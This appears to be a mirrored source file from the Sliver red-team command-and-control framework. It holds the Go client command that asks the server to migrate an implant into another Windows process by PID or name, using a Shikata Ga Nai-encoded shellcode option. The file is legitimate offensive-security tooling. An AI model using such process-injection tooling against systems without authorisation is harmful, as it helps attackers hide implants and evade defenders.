mirror of
https://github.com/MrAle98/sliver
synced 2026-06-08 11:54:46 +00:00
Raf
123 lines
3.6 KiB
Go
123 lines
3.6 KiB
Go
package exec
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/*
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Sliver Implant Framework
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Copyright (C) 2019 Bishop Fox
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This program is free software: you can redistribute it and/or modify
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it under the terms of the GNU General Public License as published by
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the Free Software Foundation, either version 3 of the License, or
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(at your option) any later version.
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This program is distributed in the hope that it will be useful,
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but WITHOUT ANY WARRANTY; without even the implied warranty of
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MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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GNU General Public License for more details.
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You should have received a copy of the GNU General Public License
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along with this program. If not, see <https://www.gnu.org/licenses/>.
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*/
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import (
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"context"
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"fmt"
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"github.com/spf13/cobra"
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"google.golang.org/protobuf/proto"
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"github.com/bishopfox/sliver/client/console"
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consts "github.com/bishopfox/sliver/client/constants"
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"github.com/bishopfox/sliver/protobuf/clientpb"
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)
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// MigrateCmd - Windows only, inject an implant into another process
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func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
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session, beacon := con.ActiveTarget.GetInteractive()
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if session == nil && beacon == nil {
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return
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}
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pid, _ := cmd.Flags().GetUint32("pid")
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procName, _ := cmd.Flags().GetString("process-name")
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if pid == 0 && procName == "" {
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con.PrintErrorf("Error: Must specify either a PID or process name\n")
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return
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}
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var config *clientpb.ImplantConfig
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var implantName string
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if session != nil {
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config = con.GetActiveSessionConfig()
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implantName = session.Name
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} else {
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config = con.GetActiveBeaconConfig()
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implantName = beacon.Name
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}
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encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
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if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn {
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encoder = clientpb.ShellcodeEncoder_NONE
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}
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ctrl := make(chan bool)
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if pid != 0 {
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con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
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} else {
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con.SpinUntil(fmt.Sprintf("Migrating into %s...", procName), ctrl)
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}
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/* If the HTTP C2 Config name is not defined, then put in the default value
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This will have no effect on implants that do not use HTTP C2
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Also this should be overridden when the build info is pulled from the
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database, but if there is no build info and we have to create the build
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from scratch, we need to have something in here.
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*/
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if config.HTTPC2ConfigName == "" {
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config.HTTPC2ConfigName = consts.DefaultC2Profile
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}
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migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
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Pid: pid,
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Config: config,
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Request: con.ActiveTarget.Request(cmd),
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Encoder: encoder,
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Name: implantName,
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ProcName: procName,
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})
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ctrl <- true
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<-ctrl
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if err != nil {
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con.PrintErrorf("Error: %v", err)
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return
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}
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if migrate.Response != nil && migrate.Response.Async {
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con.AddBeaconCallback(migrate.Response.TaskID, func(task *clientpb.BeaconTask) {
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err = proto.Unmarshal(task.Response, migrate)
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if err != nil {
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con.PrintErrorf("Failed to decode response %s\n", err)
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}
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if !migrate.Success {
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if migrate.GetResponse().GetErr() != "" {
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con.PrintErrorf("%s\n", migrate.GetResponse().GetErr())
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} else {
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con.PrintErrorf("Could not migrate into a new process. Check the PID or name.")
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}
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return
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}
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con.PrintInfof("Successfully migrated to %d\n", migrate.Pid)
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})
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con.PrintAsyncResponse(migrate.Response)
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} else {
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if !migrate.Success {
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if migrate.GetResponse().GetErr() != "" {
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con.PrintErrorf("%s\n", migrate.GetResponse().GetErr())
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} else {
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con.PrintErrorf("Could not migrate into a new process. Check the PID or name.")
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}
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return
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}
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con.PrintInfof("Successfully migrated to %d\n", migrate.Pid)
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}
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}
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